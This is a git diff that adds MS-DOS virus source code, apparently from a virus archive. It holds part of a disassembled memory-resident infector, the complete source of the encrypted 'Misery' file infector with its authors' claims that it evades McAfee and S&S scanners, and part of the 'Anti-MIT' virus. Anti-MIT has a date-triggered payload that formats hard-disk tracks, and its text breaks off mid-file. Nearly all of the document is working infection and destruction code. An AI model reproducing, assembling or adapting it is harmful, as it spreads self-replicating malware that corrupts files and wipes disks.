cmp ah,0f4h + jnb b00235 ;Jump if >= (no sign) + nop + test al,7fh ;Flags=Arg1 AND Arg2 + jnz b00235 ;Jump not equal(ZF=0) + mov ds,ax + cmp WORD PTR [d00000],0aa55h + nop + jnz b00235 ;Jump not equal(ZF=0) + mov dl,BYTE PTR [d00002] +b001f2: mov ds,ax + xor dh,dh ;Load register w/ 0 + mov cl,09 + shl dx,cl ;Multiply by 2's + mov cx,dx + xor si,si ;Load register w/ 0 +b001fe: lodsw ;Load AX with DS:[SI] + cmp ax,0fa80h + jnz b0020c ;Jump not equal(ZF=0) + lodsw ;Load AX with DS:[SI] + cmp ax,7380h + jz b00217 ;Jump if equal (ZF=1) + jnz b00221 ;Jump not equal(ZF=0) +b0020c: cmp ax,0c2f6h + jnz b00223 ;Jump not equal(ZF=0) + lodsw ;Load AX with DS:[SI] + cmp ax,7580h + jnz b00221 ;Jump not equal(ZF=0) +b00217: inc si + lodsw ;Load AX with DS:[SI] + cmp ax,40cdh + jz b00228 ;Jump if equal (ZF=1) + sub si,03 +b00221: dec si + dec si +b00223: dec si + loop b001fe ;Dec CX;Loop if CX>0 + jmp short b00235 +b00228: sub si,07 + mov WORD PTR cs:[di+06bdh],si + mov WORD PTR cs:[di+06bfh],ds +b00235: mov si,di + pop ds + push cs + pop ds + cmp ax,02fah + jnz b0025c ;Jump not equal(ZF=0) + xor di,di ;Load register w/ 0 + mov cx,06b8h +b00252: lodsb ;Load AL with DS:[SI] + scasb ;Flags = AL - ES:[DI] + jnz b0025c ;Jump not equal(ZF=0) + loop b00252 ;Dec CX;Loop if CX>0 + pop es + jmp m002e9 +b0025c: pop es + mov ah,49h + int 21h ;undefined + mov bx,0ffffh + mov ah,48h + int 21h ;undefined + sub bx,00e0h + jb m002e9 ;Jump if < (no sign) + mov cx,es + stc + adc cx,bx + mov ah,4ah + int 21h ;undefined + mov bx,00dfh + stc + sbb WORD PTR es:[d00002],bx + push es + mov es,cx + mov ah,4ah + int 21h ;undefined + mov ax,es + dec ax + mov ds,ax + mov WORD PTR [d00001],0008h + call s11 ;<007a7> + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call s11 ;<007a7> + add ax,WORD PTR [d00006] + adc dx,00 + sub ax,bx + sbb dx,cx + jb b002b0 ;Jump if < (no sign) + sub WORD PTR [d00006],ax +b002b0: pop si + push si + push ds + push cs + xor di,di ;Load register w/ 0 + mov ds,di + lds ax,DWORD PTR [d0009c] + mov WORD PTR cs:[si+0714h],ax + mov WORD PTR cs:[si+0716h],ds + pop ds + mov cx,071ch + repz movsb ;Mov DS:[SI]->ES:[DI] + xor ax,ax ;Load register w/ 0 + mov ds,ax + pop es +m002e9: pop si + xor ax,ax ;Load register w/ 0 + mov ds,ax + mov ax,WORD PTR [d0004c] + mov WORD PTR cs:[si+06c2h],ax + mov ax,WORD PTR [d0004e] + mov WORD PTR cs:[si+06c4h],ax + mov WORD PTR [d0004c],06adh + add WORD PTR [d0004c],si + mov WORD PTR [d0004e],cs + pop ds + push ds + push si + mov bx,si + lds ax,DWORD PTR [d0002a] + xor si,si ;Load register w/ 0 + mov dx,si +b00319: lodsw ;Load AX with DS:[SI] + dec si + test ax,ax ;Flags=Arg1 AND Arg2 + jnz b00319 ;Jump not equal(ZF=0) + add si,03 + lodsb ;Load AL with DS:[SI] + sub al,41h + mov cx,0001h + push cs + pop ds + add bx,02b5h + push ax + push bx + push cx + int 25h ;undefined + pop ax + pop cx + pop bx + inc BYTE PTR [bx+0ah] + and BYTE PTR [bx+0ah],0fh + jnz b00372 ;Jump not equal(ZF=0) + mov al,BYTE PTR [bx+10h] + xor ah,ah ;Load register w/ 0 + mul WORD PTR [bx+16h] + add ax,WORD PTR [bx+0eh] + push ax + mov ax,WORD PTR [bx+11h] + mov dx,0020h + mul dx + div WORD PTR [bx+0bh] + pop dx + add dx,ax + mov ax,WORD PTR [bx+08] + add ax,0040h + cmp ax,WORD PTR [bx+13h] + jb b0036f ;Jump if < (no sign) + inc ax + and ax,003fh + add ax,dx + cmp ax,WORD PTR [bx+13h] + jnb b0038b ;Jump if >= (no sign) +b0036f: mov WORD PTR [bx+08],ax +b00372: pop ax + xor dx,dx ;Load register w/ 0 + push ax + push bx + push cx + int 26h ;undefined + pop ax + pop cx + pop bx + pop ax + cmp BYTE PTR [bx+0ah],00 + jnz b0038c ;Jump not equal(ZF=0) + mov dx,WORD PTR [bx+08] + pop bx + push bx + int 26h ;undefined +b0038b: pop ax +b0038c: pop si + xor ax,ax ;Load register w/ 0 + mov ds,ax + mov ax,WORD PTR cs:[si+06c2h] + mov WORD PTR [d0004c],ax + mov ax,WORD PTR cs:[si+06c4h] + mov WORD PTR [d0004e],ax + pop ds + pop ax + cmp WORD PTR cs:[si+06ceh],5a4dh + jnz b003af ;Jump not equal(ZF=0) + jmp m00126 +b003af: jmp m00155 + mov al,03 + iret ;POP flags and Return + pushf ;Push flags on Stack + call s7 ;<00728> + popf ;Pop flags off Stack + jmp DWORD PTR cs:[d00714] +b003bf: mov WORD PTR cs:[d00714],dx + mov WORD PTR cs:[b00716],ds + popf ;Pop flags off Stack + iret ;POP flags and Return +b003cb: mov WORD PTR cs:[d00718],dx + mov WORD PTR cs:[d0071a],ds + popf ;Pop flags off Stack + iret ;POP flags and Return +b003d7: les bx,DWORD PTR cs:[d00714] + popf ;Pop flags off Stack + iret ;POP flags and Return +b003de: les bx,DWORD PTR cs:[d00718] + popf ;Pop flags off Stack + iret ;POP flags and Return +b003e5: call s5 ;<0050b> + call s7 ;<00728> + popf ;Pop flags off Stack + jmp DWORD PTR cs:[d00718] +;----------------------------------------------------- + db '&^%s%c' ;0000:03f1 +;----------------------------------------------------- + and ax,0064h + push bp ;Get Args from Stack + mov bp,sp + push WORD PTR [bp+06] + popf ;Pop flags off Stack + pop bp ;End High Level Subr + pushf ;Push flags on Stack + call s8 ;<00732> + cmp ax,2521h + jz b003cb ;Jump if equal (ZF=1) + cmp ax,2527h + jz b003bf ;Jump if equal (ZF=1) + cmp ax,3527h + jz b003d7 ;Jump if equal (ZF=1) + cld ;Forward String Opers + cmp ax,4b00h + jz b003e5 ;Jump if equal (ZF=1) + cmp ah,3ch + jz b0042f ;Jump if equal (ZF=1) + cmp ah,3eh + jz b0046b ;Jump if equal (ZF=1) + cmp ah,5bh + jnz b00495 ;Jump not equal(ZF=0) +b0042f: cmp WORD PTR cs:[d006d1],00 + jnz b004ac ;Jump not equal(ZF=0) + call s2 ;<004c2> + jnz b004ac ;Jump not equal(ZF=0) + call s7 ;<00728> + popf ;Pop flags off Stack + call s4 ;<00504> + jb b004b3 ;Jump if < (no sign) + pushf ;Push flags on Stack + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,06d1h + stosw ;Store AX at ES:[DI] + mov si,dx + mov cx,0041h +b00456: lodsb ;Load AL with DS:[SI] + stosb ;Store AL at ES:[DI] + test al,al ;Flags=Arg1 AND Arg2 + jz b00463 ;Jump if equal (ZF=1) + loop b00456 ;Dec CX;Loop if CX>0 + mov WORD PTR es:[d006d1],cx +b00463: pop ax + pop cx + pop di + pop si + pop es +b00468: popf ;Pop flags off Stack + jnb b004b3 ;Jump if >= (no sign) +b0046b: cmp bx,WORD PTR cs:[d006d1] + jnz b004ac ;Jump not equal(ZF=0) + test bx,bx ;Flags=Arg1 AND Arg2 + jz b004ac ;Jump if equal (ZF=1) + call s7 ;<00728> + popf ;Pop flags off Stack + call s4 ;<00504> + jb b004b3 ;Jump if < (no sign) + pushf ;Push flags on Stack + push ds + push cs + pop ds + push dx + mov dx,06d3h + call s5 ;<0050b> + mov WORD PTR cs:[d006d1],0000h + pop dx + pop ds + jmp short b00468 +b00495: cmp ah,3dh + jz b004a4 ;Jump if equal (ZF=1) + cmp ah,43h + jz b004a4 ;Jump if equal (ZF=1) + cmp ah,56h + jnz b004ac ;Jump not equal(ZF=0) +b004a4: call s2 ;<004c2> + jnz b004ac ;Jump not equal(ZF=0) + call s5 ;<0050b> +b004ac: call s7 ;<00728> + popf ;Pop flags off Stack + call s4 ;<00504> +b004b3: pushf ;Push flags on Stack + push ds + call s9 ;<0078b> + mov BYTE PTR [d00000],5ah + pop ds + popf ;Pop flags off Stack + ret 0002h ;(far) +s1 endp + +;<004c2> +s2 proc near + push ax + push si + mov si,dx +b004c6: lodsb ;Load AL with DS:[SI] + test al,al ;Flags=Arg1 AND Arg2 + jz b004f3 ;Jump if equal (ZF=1) + cmp al,64h ;(d) + jz b004f3 ;Jump if equal (ZF=1) + add al,01 + cmp al,2eh ;(.) + jnz b004c6 ;Jump not equal(ZF=0) + call s3 ;<004f8> + mov ah,al + call s3 ;<004f8> + cmp ax,6f76h + jz b004ee ;Jump if equal (ZF=1) + cmp ax,6578h + jnz b004f5 ;Jump not equal(ZF=0) + call s3 ;<004f8> + cmp al,65h ;(e) + jmp short b004f5 +b004ee: call s3 ;<004f8> + jnz b004f5 ;Jump not equal(ZF=0) +b004f3: inc al +b004f5: pop si + pop ax + ret +s2 endp + +;<004f8> +s3 proc near + lodsb ;Load AL with DS:[SI] + cmp al,43h ;(C) + jb b00503 ;Jump if < (no sign) + cmp al,59h ;(Y) + jnb b00503 ;Jump if >= (no sign) + add al,19h +b00503: ret +s3 endp + +;<00504> +s4 proc near + pushf ;Push flags on Stack + call DWORD PTR cs:[d00718] + ret +s4 endp + +;<0050b> +s5 proc near + push ds + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax ;Load register w/ 0 + mov ds,ax + les ax,DWORD PTR [d00090] + push es + push ax + mov WORD PTR [d00090],02b2h + mov WORD PTR [d00092],cs + les ax,DWORD PTR [d0004c] + mov WORD PTR cs:[d006c2],ax + mov WORD PTR cs:[d006c4],es + mov WORD PTR [d0004c],06adh + mov WORD PTR [d0004e],cs + push es + push ax + mov ds,si + xor cx,cx ;Load register w/ 0 + mov ax,4300h + call s4 ;<00504> + mov bx,cx + and cl,0feh + cmp cl,bl + jz b0055c ;Jump if equal (ZF=1) + mov ax,4301h + call s4 ;<00504> + stc +b0055c: pushf ;Push flags on Stack + push ds + push dx + push bx + mov ax,3d02h + call s4 ;<00504> + jb b00572 ;Jump if < (no sign) + mov bx,ax + call s6 ;<0059b> + mov ah,3eh + call s4 ;<00504> +b00572: pop cx + pop dx + pop ds + popf ;Pop flags off Stack + jnb b0057e ;Jump if >= (no sign) + mov ax,4301h + call s4 ;<00504> +b0057e: xor ax,ax ;Load register w/ 0 + mov ds,ax + pop WORD PTR [d0004c] + pop WORD PTR [d0004e] + pop WORD PTR [d00090] + pop WORD PTR [d00092] + pop dx + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret +s5 endp + +;<0059b> +s6 proc near + spc=$ + org 0006c2h +d006c2: org 0006c4h +d006c4: org 0006d1h +d006d1: org 000714h +d00714: org 000716h +d00716: org 000718h +d00718: org 00071ah +d0071a: org 00071ch +d0071c: org 00071dh +d0071d: org 00071eh +d0071e: org 000720h +d00720: org 000724h +d00724: org spc + push cs + pop ds + push cs + pop es + mov dx,071ch + mov cx,0018h + mov ah,3fh + int 21h ;undefined + xor cx,cx ;Load register w/ 0 + xor dx,dx ;Load register w/ 0 + mov ax,4202h + int 21h ;undefined + mov WORD PTR [d00736],dx + cmp ax,06b8h + sbb dx,00 + jb b0062c ;Jump if < (no sign) + mov WORD PTR [d00734],ax + cmp WORD PTR [d0071c],5a4dh + jnz b005e0 ;Jump not equal(ZF=0) + mov ax,WORD PTR [d00724] + add ax,WORD PTR [s8 ;<00732>] + call s11 ;<007a7> + add ax,WORD PTR [d00730] + adc dx,00 + mov cx,dx + mov dx,ax + jmp short b005f5 +b005e0: cmp BYTE PTR [d0071c],0e9h + jnz b0062d ;Jump not equal(ZF=0) + mov dx,WORD PTR [b0071d] + add dx,0103h + jb b0062d ;Jump if < (no sign) + dec dh + xor cx,cx ;Load register w/ 0 +b005f5: sub dx,68h + sbb cx,00 + mov ax,4200h + int 21h ;undefined + add ax,06d1h + adc dx,00 + cmp ax,WORD PTR [d00734] + jnz b0062d ;Jump not equal(ZF=0) + cmp dx,WORD PTR [d00736] + jnz b0062d ;Jump not equal(ZF=0) + mov dx,0738h + mov si,dx + mov cx,06b8h + mov ah,3fh + int 21h ;undefined + jb b0062d ;Jump if < (no sign) + cmp cx,ax + jnz b0062d ;Jump not equal(ZF=0) + xor di,di ;Load register w/ 0 +b00626: lodsb ;Load AL with DS:[SI] + scasb ;Flags = AL - ES:[DI] + jnz b0062d ;Jump not equal(ZF=0) + loop b00626 ;Dec CX;Loop if CX>0 +b0062c: ret +b0062d: xor cx,cx ;Load register w/ 0 + xor dx,dx ;Load register w/ 0 + mov ax,4202h + int 21h ;undefined + cmp WORD PTR [d0071c],5a4dh + jz b00647 ;Jump if equal (ZF=1) + add ax,091ch + adc dx,00 + jz b0065e ;Jump if equal (ZF=1) + ret +b00647: mov dx,WORD PTR [d00734] + neg dl + and dx,0fh + xor cx,cx ;Load register w/ 0 + mov ax,4201h + int 21h ;undefined + mov WORD PTR [d00734],ax + mov WORD PTR [d00736],dx +b0065e: mov ax,5700h + int 21h ;undefined + pushf ;Push flags on Stack + push cx + push dx + cmp WORD PTR [d0071c],5a4dh + jz b00673 ;Jump if equal (ZF=1) + mov ax,0100h + jmp short b0067a +b00673: mov ax,WORD PTR [d00730] + mov dx,WORD PTR [s8 ;<00732>] +b0067a: mov di,06c6h + stosw ;Store AX at ES:[DI] + mov ax,dx + stosw ;Store AX at ES:[DI] + mov ax,WORD PTR [d0072c] + stosw ;Store AX at ES:[DI] + mov ax,WORD PTR [d0072a] + stosw ;Store AX at ES:[DI] + mov si,071ch + movsb ;Mov DS:[SI]->ES:[DI] + movsw ;Mov DS:[SI]->ES:[DI] + xor dx,dx ;Load register w/ 0 + mov cx,06d1h + mov ah,40h + int 21h ;undefined + jb b006bf ;Jump if < (no sign) + xor cx,ax + jnz b006bf ;Jump not equal(ZF=0) + mov dx,cx + mov ax,4200h + int 21h ;undefined + cmp WORD PTR [d0071c],5a4dh + jz b006c1 ;Jump if equal (ZF=1) + mov BYTE PTR [d0071c],0e9h + mov ax,WORD PTR [d00734] + add ax,0065h + mov WORD PTR [b0071d],ax + mov cx,0003h + jmp short b00716 +b006bf: jmp short b0071d +b006c1: call s10 ;<007a4> + not ax + not dx + inc ax + jnz b006cc ;Jump not equal(ZF=0) + inc dx +b006cc: add ax,WORD PTR [d00734] + adc dx,WORD PTR [d00736] + mov cx,0010h + div cx + mov WORD PTR [d00730],0068h + mov WORD PTR [s8 ;<00732>],ax + add ax,006eh + mov WORD PTR [d0072a],ax + mov WORD PTR [d0072c],0100h + add WORD PTR [d00734],06d1h + adc WORD PTR [d00736],00 + mov ax,WORD PTR [d00734] + and ax,01ffh + mov WORD PTR [d0071e],ax + pushf ;Push flags on Stack + mov ax,WORD PTR [d00735] + shr BYTE PTR [d00737],1 ;Divide by 2's + rcr ax,1 ;CF-->[HI .. LO]-->CF + popf ;Pop flags off Stack + jz b00710 ;Jump if equal (ZF=1) + inc ax +b00710: mov WORD PTR [d00720],ax + mov cx,0018h +b00716: mov dx,071ch + mov ah,40h + int 21h ;undefined +b0071d: pop dx + pop cx + popf ;Pop flags off Stack + jb b00727 ;Jump if < (no sign) + mov ax,5701h + int 21h ;undefined +b00727: ret +s6 endp + +;<00728> +s7 proc near + spc=$ + org 00072ah +d0072a: org 00072ch +d0072c: org 000730h +d00730: org spc + push ds + call s9 ;<0078b> + mov BYTE PTR [d00000],4dh + pop ds +s7 endp + +;<00732> +s8 proc near + spc=$ + org 000732h +d00732: org 000734h +d00734: org 000735h +d00735: org 000736h +d00736: org 000737h +d00737: org spc + push ds + push ax + push bx + push dx + xor bx,bx ;Load register w/ 0 + mov ds,bx + lds dx,DWORD PTR [d00084] + cmp dx,02fah + jnz b0074e ;Jump not equal(ZF=0) + mov ax,ds + mov bx,cs + cmp ax,bx + jz b00786 ;Jump if equal (ZF=1) + xor bx,bx ;Load register w/ 0 +b0074e: mov ax,WORD PTR [bx] + cmp ax,02fah + jnz b0075c ;Jump not equal(ZF=0) + mov ax,cs + cmp ax,WORD PTR [bx+02] + jz b00761 ;Jump if equal (ZF=1) +b0075c: inc bx + jnz b0074e ;Jump not equal(ZF=0) + jz b0077a ;Jump if equal (ZF=1) +b00761: mov ax,WORD PTR cs:[d00718] + mov WORD PTR [bx],ax + mov ax,WORD PTR cs:[d0071a] + mov WORD PTR [bx+02],ax + mov WORD PTR cs:[d00718],dx + mov WORD PTR cs:[d0071a],ds + xor bx,bx ;Load register w/ 0 +b0077a: mov ds,bx + mov WORD PTR [d00084],02fah + mov WORD PTR [d00086],cs +b00786: pop dx + pop bx + pop ax + pop ds + ret +s8 endp + +;<0078b> +s9 proc near + push ax + push bx + mov ah,62h + call s4 ;<00504> + mov ax,cs + dec ax + dec bx +b00796: mov ds,bx + stc + adc bx,WORD PTR [d00003] + cmp bx,ax + jb b00796 ;Jump if < (no sign) + pop bx + pop ax + ret +s9 endp + +;<007a4> +s10 proc near + mov ax,WORD PTR [d00724] +s10 endp + +;<007a7> +s11 proc near + mov dx,0010h + mul dx + ret +;----------------------------------------------------- + cmp ah,03 + jnz b007c1 ;Jump not equal(ZF=0) + cmp dl,80h + jnb b007bc ;Jump if >= (no sign) + jmp 0000:0000 +b007bc: jmp 0000:0000 +b007c1: jmp 0000:0000 +;----------------------------------------------------- + db 00,01 ;0000:07c6 .. + db 6d dup (00h) ;0000:07c8 (.) + db 0cdh,20,90,90,90,90 ;0000:07ce . .... +s11 endp + spc=$ + org 000000h +d00000: org 000001h +d00001: org 000002h +d00002: org 000003h +d00003: org 000006h +d00006: org 00002ah +d0002a: org 00004ch +d00086: org 000090h +d00090: org 000092h +d00092: org 00009ch +d0009c: org 00009eh +d0009e: org spc +cseg ends + end o00100 + \ No newline at end of file diff --git a/m/MISERY.ASM b/m/MISERY.ASM new file mode 100755 index 0000000..64c99ef --- /dev/null +++ b/m/MISERY.ASM @@ -0,0 +1,252 @@ +; VirusName: Misery +; Country : Sweden +; Author : Metal Militia / Immortal Riot +; Date : 07-22-1993 +; +; This is an mutation of Leprosy from 'PCM2'. +; Many thanks to the scratch coder of Leprosy +; +; We've tried this virus ourself, and it works just fine. +; It copies itself into other exe/com files on the +; current drive, and uses dot-dot for changing directory. +; Originally found in the United States Of America. +; +; There has been many mutations born from this virus, +; and here we give you another contribution. + +; McAfee Scan v105 can't find it, and +; S&S Toolkit 6.5 don't find it either. +; I haven't tried with scanners like Fprot/Tbscan, +; but they will probably report some virus structure. +; +; Best Regards : [Metal Militia] +; [The Unforgiven] + + title "MiSERY / Immortal Riot'93" + +cr equ 13 ; Carriage return ASCII code +lf equ 10 ; Linefeed ASCII code +tab equ 9 ; Tab ASCII code +virus_size equ 664 ; Size of the virus file +code_start equ 100h ; Address right after PSP in memory +dta equ 80h ; Addr of default disk transfer area +datestamp equ 24 ; Offset in DTA of file's date stamp +timestamp equ 22 ; Offset in DTA of file's time stamp +filename equ 30 ; Offset in DTA of ASCIIZ filename +attribute equ 21 ; Offset in DTA of file attribute + + + code segment 'code' ; Open code segment + assume cs:code,ds:code ; One segment for both code & data + org code_start ; Start code image after PSP + +;--------------------------------------------------------------------- +; All executable code is contained in boundaries of procedure "main". +; The following code, until the start of "virus_code", is the non- +; encrypted CMT portion of the code to load up the real program. +;--------------------------------------------------------------------- +main proc near ; Code execution begins here + call encrypt_decrypt ; Decrypt the real virus code + jmp random_mutation ; Put the virus into action + +encrypt_val db 00h ; Hold value to encrypt by here + +; ---------- Encrypt, save, and restore the virus code ----------- +infect_file: + mov bx,handle ; Get the handle + push bx ; Save it on the stack + call encrypt_decrypt ; Encrypt most of the code + pop bx ; Get back the handle + mov cx,virus_size ; Total number of bytes to write + mov dx,code_start ; Buffer where code starts in memory + mov ah,40h ; DOS write-to-handle service + int 21h ; Write the virus code into the file + call encrypt_decrypt ; Restore the code as it was + ret ; Go back to where you came from + +; --------------- Encrypt or decrypt the virus code ---------------- +encrypt_decrypt: + mov bx,offset virus_code ; Get address to start encrypt/decrypt +xor_loop: ; Start cycle here + mov ah,[bx] ; Get the current byte + xor al,encrypt_val ; Engage/disengage XOR scheme on it + mov [bx],ah ; Put it back where we got it + inc bx ; Move BX ahead a byte + cmp bx,offset virus_code+virus_size ; Are we at the end? + jle xor_loop ; If not, do another cycle + ret ; and go back where we came from + +;----------------------------------------------------------------------- +; The rest of the code from here on remains encrypted until run-time, +; using a fundamental XOR technique that changes via CMT. +;----------------------------------------------------------------------- +virus_code: + +;---------------------------------------------------------------------------- +; All strings are kept here in the file, and automatically encrypted. +; Please don't be a lamer and change the strings and say you wrote a virus. +; Because of Cybernetic Mutation Technology(tm), the CRC of this file often +; changes, even when the strings stay the same. +;---------------------------------------------------------------------------- +exe_filespec db "*.EXE",0 ; To infect EXE's +com_filespec db "*.COM",0 ; To infect COM's +newdir db "..",0 ; Move up one directory +fake_msg db cr,lf,"Metal up your ass..$" +virus_msg1 db cr,lf,tab,"My friend of Misery...$" +virus_msg2 db cr,lf,tab,"Hearing only what you want to hear $" +virus_msg3 db cr,lf,tab,"and knowing only what you've heard$" +virus_msg4 db cr,lf,tab,"you you're smothered in tragedy$" +virus_msg5 db cr,lf,tab,"you're out to save the world$" +compare_buf db 20 dup (?) ; Buffer to compare files in +files_found db ? +files_infected db ? +orig_time dw ? +orig_date dw ? +orig_attr dw ? +handle dw ? +success db ? + +random_mutation: ; First decide if virus is to mutate + mov ah,2ch ; Set up DOS function to get time + int 21h + cmp encrypt_val,0 ; Is this a first-run virus copy? + je install_val ; If so, install whatever you get. + cmp dh,15 ; Is it less than 16 seconds? + jg find_extension ; If not, don't mutate this time +install_val: + cmp dl,0 ; Will we be encrypting using zero? + je random_mutation ; If so, get a new value. + mov encrypt_val,dl ; Otherwise, save the new value +find_extension: ; Locate file w/ valid extension + mov files_found,0 ; Count infected files found + mov files_infected,4 ; BX counts file infected so far + mov success,0 +find_exe: + mov cx,00100111b ; Look for all flat file attributes + mov dx,offset exe_filespec ; Check for .EXE extension first + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je find_com ; If not, nothing more to do + call find_healthy ; Otherwise, try to find healthy .EXE +find_com: + mov cx,00100111b ; Look for all flat file attributes + mov dx,offset com_filespec ; Check for .COM extension now + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je chdir ; If not, step back a directory + call find_healthy ; Otherwise, try to find healthy .COM +chdir: ; Routine to step back one level + mov dx,offset newdir ; Load DX with address of pathname + mov ah,3bh ; Change directory DOS service + int 21h + dec files_infected ; This counts as infecting a file + jnz find_exe ; If we're still rolling, find another + jmp exit_virus ; Otherwise let's pack it up +find_healthy: + mov bx,dta ; Point BX to address of DTA + mov ax,[bx]+attribute ; Get the current file's attribute + mov orig_attr,ax ; Save it + mov ax,[bx]+timestamp ; Get the current file's time stamp + mov orig_time,ax ; Save it + mov ax,[bx]+datestamp ; Get the current file's data stamp + mov orig_date,ax ; Save it + mov dx,dta+filename ; Get the filename to change attribute + mov cx,0 ; Clear all attribute bytes + mov al,1 ; Set attribute sub-function + mov ah,43h ; Call DOS service to do it + int 21h + mov al,2 ; Set up to open handle for read/write + mov ah,3dh ; Open file handle DOS service + int 21h + mov handle,ax ; Save the file handle + mov bx,ax ; Transfer the handle to BX for read + mov cx,20 ; Read in the top 20 bytes of file + mov dx,offset compare_buf ; Use the small buffer up top + mov ah,3fh ; DOS read-from-handle service + int 21h + mov bx,offset compare_buf ; Adjust the encryption value + mov ah,encrypt_val ; for accurate comparison + mov [bx+6],ah + mov si,code_start ; One array to compare is this file + mov di,offset compare_buf ; The other array is the buffer + mov ax,ds ; Transfer the DS register... + mov es,ax ; ...to the ES register + cld + repe cmpsb ; Compare the buffer to the virus + jne healthy ; If different, the file is healthy! + call close_file ; Close it up otherwise + inc files_found ; Chalk up another fucked up file +continue_search: + mov ah,4fh ; Find next DOS function + int 21h ; Try to find another same type file + cmp ax,12h ; Are there any more files? + je no_more_found ; If not, get outta here + jmp find_healthy ; If so, try the process on this one! +no_more_found: + ret ; Go back to where we came from +healthy: + mov bx,handle ; Get the file handle + mov ah,3eh ; Close it for now + int 21h + mov ah,3dh ; Open it again, to reset it + mov dx,dta+filename + mov al,2 + int 21h + mov handle,ax ; Save the handle again + call infect_file ; Infect the healthy file + call close_file ; Close down this operation + inc success ; Indicate we did something this time + dec files_infected ; Scratch off another file on agenda + jz exit_virus ; If we're through, terminate + jmp continue_search ; Otherwise, try another + ret +close_file: + mov bx,handle ; Get the file handle off the stack + mov cx,orig_time ; Get the date stamp + mov dx,orig_date ; Get the time stamp + mov al,1 ; Set file date/time sub-service + mov ah,57h ; Get/Set file date and time service + int 21h ; Call DOS + mov bx,handle + mov ah,3eh ; Close handle DOS service + int 21h + mov cx,orig_attr ; Get the file's original attribute + mov al,1 ; Instruct DOS to put it back there + mov dx,dta+filename ; Feed it the filename + mov ah,43h ; Call DOS + int 21h + ret +exit_virus: + cmp files_found,15 ; Are at least 15 files infected? + jl print_fake ; If not, keep a low profile + cmp success,0 ; Did we infect anything? + jg print_fake ; If so, cover it up + mov ah,09h ; Use DOS print string service + mov dx,offset virus_msg1 ; Load the address of the first line + int 21h ; Print it + mov dx,offset virus_msg2 ; Load the second line + int 21h ; (etc) + mov dx,offset virus_msg3 + int 21h + mov dx,offset virus_msg4 + int 21h + mov dx,offset virus_msg5 + int 21h + jmp terminate +print_fake: + mov ah,09h ; Use DOS to print fake error message + mov dx,offset fake_msg + int 21h +terminate: + mov ah,4ch ; DOS terminate process function + int 21h ; Call DOS to get out of this program + +filler db 8 dup (90h) ; Pad out the file length to 666 bytes + +main endp +code ends + end main + +  \ No newline at end of file diff --git a/m/MIT.ASM b/m/MIT.ASM new file mode 100755 index 0000000..aa809cb --- /dev/null +++ b/m/MIT.ASM @@ -0,0 +1,315 @@ +; ** Anti-MIT Virus ** +; To assemble, use TASM and TLINK to create a .COM file. Next +; run the .COM file in the same directory of a file you want to infect. +; Your system may hang, but after re-booting you will notice an increase +; in the target files size. Now debug the newly infected file and replace +; the first three bytes with E8 05 00 (call to encryption). Re-write the +; .COM file and now you should have a running copy of the Anti-Mit virus! +; +; - Do not distribute the Anti-MIT virus for this +; activity is against the law! The author will take +; NO responsiblity for others. +; TEST ONLY +; +; For more info see MIT.DOX file. + + + + +name AntiMIT + title Anti-MIT: The original Anti-MIT virus code! + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +buffer equ offset 20000d ; Buffer +fname equ offset 20000d + 1eh ; DTA - File name +ftime equ offset 20000d + 16h ; DTA - File time +fsize equ offset 20000d + 1ah ; DTA - File size +olddta equ 80 ; Old DTA area + +start: + jmp main ; *See above* + nop + jmp main ; Jmp to virus body + +encrypt_val db 0 ; Randomized encryption value + +decrypt: ; Encrypt/decrypt engine +encrypt: ; [SKISM type] + lea si, data + mov ah, encrypt_val + jmp fool_em ; Fool with the scanners + +xor_loop: + lodsb ; ds:[si] -> al + xor al, ah + stosb ; al -> es:[di] + loop xor_loop + mov ah,19h ; Set current drive as default + int 21h + mov dh,al + mov ah,0eh + int 21h + ret + +fool_em: + mov di, si + mov cx, stop_encrypt - data + jmp xor_loop + + + +data label byte ; Virus data +message db 'MIT Sux! $' ; The "message" +lengthp dw ? ; Length of infected file +allcom db '*.COM',0 ; What to search for +virus db '[Anti-MIT]',0 ; Virus name +author db 'FrsStrk',0 ; Author + +main: ; Main virus code + mov ah,2ah ; Get the date + int 21h + + cmp dh,12d ; Month 12? + jnz next ; No + + + cmp dl,01d ; Day one? + jnz next ; No + lea dx,message ; Yes, set off the "bomb" + mov ah,09h + int 21h + + mov ah,05h + mov al,02h + mov ch,00h + mov dh,00h + mov dl,80h + int 13h + + mov ah,06h + int 13h + + mov ah,05h + mov dl,00h + int 13h + + mov ah,4ch ; Exit + int 21h + +next: + mov cx,lengthp ; Figure out the Jmp + sub cx,eendcode-start + mov the_jmp,cx + + + + + push es ; Save ES + mov ax,3524h ; Get interrupt 24h handler + int 21h ; and save it in errhnd + mov [err1],bx + mov [err2],es + pop es ; Restore ES + + mov ax,2524h ; Set interrupt 24h handler + lea dx,handler + int 21h + + xor dx,dx ; Set DTA in "buffer" area + mov si,dx + mov dx,buffer + add dx,si ; Set new Disk Transfer Address + mov ah,1A ; Set DTA + int 21 + + +find_first: + mov dx,offset allcom ; Search for '*.COM' files + mov cx,00000001b ; Normal, Write Protected + mov ah,4E ; Find First file + int 21 + jc pre_done ; Quit if none found + jmp check_if_ill + +mover: ; The "mover" code + push cs ; Store CS + pop es ; and move it to ES + mov di,0100h + lea si,eendcode ; Move original code to + add si,the_jmp ; beginning + add si,endcode-mover + mov cx,eendcode-start + rep movsb + mov di,0100h ; Jmp to CS:[100h] + jmp di + +pre_done: + jmp done ; Long jmp + +find_next: + mov ah,4fh ; Search for next + int 21h + jc pre_done + +check_if_ill: ; File infected? + mov ax,cs:[ftime] + and al,11111b ; Look for the 62 sec marker + cmp al,62d/2 ; [Vienna type] + jz find_next + + cmp cs:[fsize],19000d ; Check if file larger then + ja find_next ; 19000 bytes - if so skip + + cmp cs:[fsize],500d ; Check if file smaller then + jb find_next ; 500 bytes - if so skip + + +mainlp: ; Write the virus + mov dx,fname + mov ah,43h ; Write enable + mov al,0 + int 21h + mov ah,43h + mov al,01h + and cx,11111110b + int 21h + + + mov ax,3d02h ; Open file (read/write) + int 21h + jc pre_done + mov bx,ax + + mov ax,5700h ; Get date for file + int 21h + mov [time],cx ; Save date info + mov [date],dx + + mov ah,3fh ; Read original code into + mov dx,buffer ; buffer (length of virus) + mov cx,eendcode-start + int 21h + jc pre_done + cmp ax,eendcode-start + jne 